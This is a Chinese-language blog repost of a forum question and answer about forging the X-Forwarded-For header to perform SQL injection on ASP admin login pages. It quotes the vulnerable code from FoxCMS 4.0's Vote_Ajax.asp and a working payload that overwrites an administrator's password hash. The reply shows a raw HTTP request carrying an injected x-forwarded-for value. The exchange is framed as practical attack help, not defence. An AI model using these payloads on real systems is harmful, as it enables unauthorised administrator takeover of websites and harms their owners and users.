请教关于HTTP_X_FORWARDED_FOR伪造的问题

2011, March 1, 10:44 AM. 原创笔记
Submitted by admin

http://www.t00ls.net/thread-15177-1-1.html

 

小弟愚笨,对于HTTP_X_FORWARDED_FOR伪造的问题,在百度哥和GOOGLE姐的帮助下看了半天的资料,还是不懂,特来请教。。。

假设以下是个正常的后台登录页面的抓包

POST /admin/login.asp?action=login HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1:99/admin/login.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1:99
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: EDiaryEditor_RUser=1324481743; rtime=0; ltime=1298481309656; cnzz_eid=19758319-1298478159-; AJSTAT_ok_times=1; TENATTQRLEFVOIAJDEKD=MQAAEQCFLLKKNYKKUTOOYJMBVTKWIHXKIHAZRJOR

name=123123312&pass=1232123&code=7XYZ&Submit=%B5%C7+%C2%BC


在这里面,如何构造HTTP_X_FORWARDED_FOR,使之产生注入呢?


=============
另附网络上的一个风讯4.0注入的分析----

存在注入漏洞的是Vote/Vote_Ajax.asp文件,其第48~53行的代码如下。


VisitIP = request.ServerVariables("HTTP_X_FORWARDED_FOR") If VisitIP = "" then VisitIP = request.ServerVariables("REMOTE_ADDR") End If //如果VisitIP不为空,直接就将变量HTTP_X_FORWARDED_FOR提交到数据库中查询了 Set VS_RS = Conn.Execute("Select top 1 VoteTime from FS_VS_Items_Result where TID = "&TID&" and VoteIp='"&VisitIP&"' order by RID desc") //这里明显构成了注入条件
此文件存在的注入漏洞,我们直接伪造就行了。关于HTTP_X_FORWARDED_FOR变量的伪造,我们只需要用NC抓包,然后再相应的修改抓取的数据包再进行提交就可以了。
此漏洞的构造语句:127.0.0.1');update FS_MF_Admin set Admin_Pass_Word=' 49ba59abbe56e057' where id=2--提交成功后,ID为2的管理员的密码就被我们改为了123456了


在这里,“然后再相应的修改抓取的数据包再进行提交就可以了”,这句话的意思是在包中修改HTTP_X_FORWARDED_FOR变量,而正常的抓包中并没有看到有关于HTTP_X_FORWARDED_FOR的变量啊。
我的疑问是,是要在包中另加一句关于HTTP_X_FORWARDED_FOR变量的注入的语句吗?
该如何添加或者进行注入?

就比如如上所说的风讯4.0的那个注入该如何构造?

 

=====================

 

在请求的header中加入x-forwarded-for即可,如
POST /admin/login.asp?action=login HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1:99/admin/login.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1:99
x-forwarded-for: aa' or ''='

name=123123312&pass=1232123&code=7XYZ&Submit=%B5%C7+%C2%BC

 

BY toby57

Tags: 伪造

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):